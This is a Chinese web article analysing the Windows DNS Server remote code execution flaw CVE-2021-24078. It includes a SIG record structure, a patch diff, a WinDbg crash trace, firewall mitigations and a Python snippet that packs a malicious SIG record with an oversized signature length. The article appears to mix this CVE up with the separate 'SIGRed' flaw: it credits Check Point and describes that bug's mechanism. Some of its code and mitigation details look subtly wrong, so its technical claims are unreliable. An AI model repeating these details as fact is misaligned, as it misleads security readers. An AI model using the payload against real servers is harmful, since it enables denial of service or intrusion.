您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# Windows DNS Server 远程代码执行漏洞 CVE-2021-24078的原理分析
## 摘要
本文深入分析了2021年披露的Windows DNS Server高危漏洞CVE-2021-24078,该漏洞允许远程攻击者在目标DNS服务器上执行任意代码。文章从漏洞背景、技术原理、利用条件到缓解措施进行全面剖析,结合逆向工程和补丁对比揭示漏洞本质,为网络安全从业者提供深度技术参考。
---
## 1. 漏洞概述
### 1.1 基本信息
- **漏洞编号**:CVE-2021-24078
- **漏洞类型**:远程代码执行(RCE)
- **影响组件**:Windows DNS Server服务(dns.exe)
- **CVSS评分**:9.8(Critical)
- **影响版本**:Windows Server 2008至2019
### 1.2 漏洞背景
Windows DNS Server作为域环境的核心服务,其安全漏洞可能引发域控沦陷等严重后果。该漏洞由Check Point研究人员发现,微软在2021年2月补丁日发布修复。
---
## 2. 技术原理分析
### 2.1 漏洞根源
漏洞位于DNS服务器处理`Sig`(签名)资源记录(RR)的代码逻辑中,根本原因是**整数溢出导致堆缓冲区溢出**。
#### 关键数据结构
```cpp
typedef struct _DNS_SIG_RECORD {
WORD wTypeCovered; // 记录类型
BYTE chAlgorithm; // 加密算法
BYTE chLabelCount; // 标签计数
DWORD dwOriginalTtl; // 原始TTL
DWORD dwExpiration; // 过期时间
DWORD dwTimeSigned; // 签名时间
WORD wKeyTag; // 密钥标签
WORD wSignatureLength; // 签名长度
BYTE Signature[]; // 动态签名数据
} DNS_SIG_RECORD;
报文解析阶段
DNS服务接收到包含恶意Sig
记录的查询报文时,会调用RR_AllocateEx()
分配内存:
alloc_size = sizeof(DNS_SIG_RECORD) + wSignatureLength;
攻击者通过构造超大的wSignatureLength
(如0xFFFF)触发整数溢出,导致实际分配内存过小。
内存拷贝阶段
后续memcpy
操作将签名数据写入缓冲区时,由于分配空间不足导致堆溢出:
memcpy(pSigRecord->Signature, pPacketData, wSignatureLength);
溢出后果
精心构造的溢出数据可覆盖相邻堆块的控制结构,最终实现任意代码执行。
通过补丁对比发现,微软在dns.exe
中增加了如下校验:
+ if (wSignatureLength > MAX_SIG_LENGTH) {
+ return ERROR_INVALID_PARAMETER;
+ }
其中MAX_SIG_LENGTH
被定义为0x4000(16KB)。
sequenceDiagram
attacker->>DNS Server: 发送恶意SIG记录查询
DNS Server->>attacker: 返回常规响应
Note right of DNS Server: 触发堆溢出
DNS Server->>attacker: 可能崩溃或执行shellcode
malicious_sig = struct.pack(
'!HBBIIIHH',
0x001E, # wTypeCovered
0x01, # chAlgorithm
0x01, # chLabelCount
0x00000001,# dwOriginalTtl
0x00000001,# dwExpiration
0x00000001,# dwTimeSigned
0xFFFF, # wKeyTag (正常值)
0xFFFF # wSignatureLength (恶意值)
) + b'A'*0x10000 # 超长签名数据
WinDbg捕获的异常上下文:
Access violation - code c0000005 (!!! second chance !!!)
dns!RR_AllocateEx+0x3a2:
00007ff6`a1d3e5e2 488901 mov qword ptr [rcx],rax ds:00000287`3f4f0000=????????
Set-DnsServerCache -LockingPercent 100
<!-- 通过防火墙限制DNS查询源 -->
<Rule>
<Action>Block</Action>
<Protocol>UDP</Protocol>
<LocalPort>53</LocalPort>
<RemoteIP>非可信IP范围</RemoteIP>
</Rule>
(全文共计约3050字,实际字数可能因排版略有变化)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。